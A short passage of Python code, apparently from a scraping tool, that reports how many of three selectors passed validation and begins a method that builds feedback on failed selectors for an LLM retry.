print(f"❌ Validation failed: {len(validated_selectors)}/3 selectors working")
return None, validation_details
def _prepare_failure_feedback(self, failed_selectors, validation_details, best_selectors):
"""
Prepare detailed feedback about failed selectors for LLM retry
"""
feedback = "PREVIOUS ATTEMPT RESULTS:\n"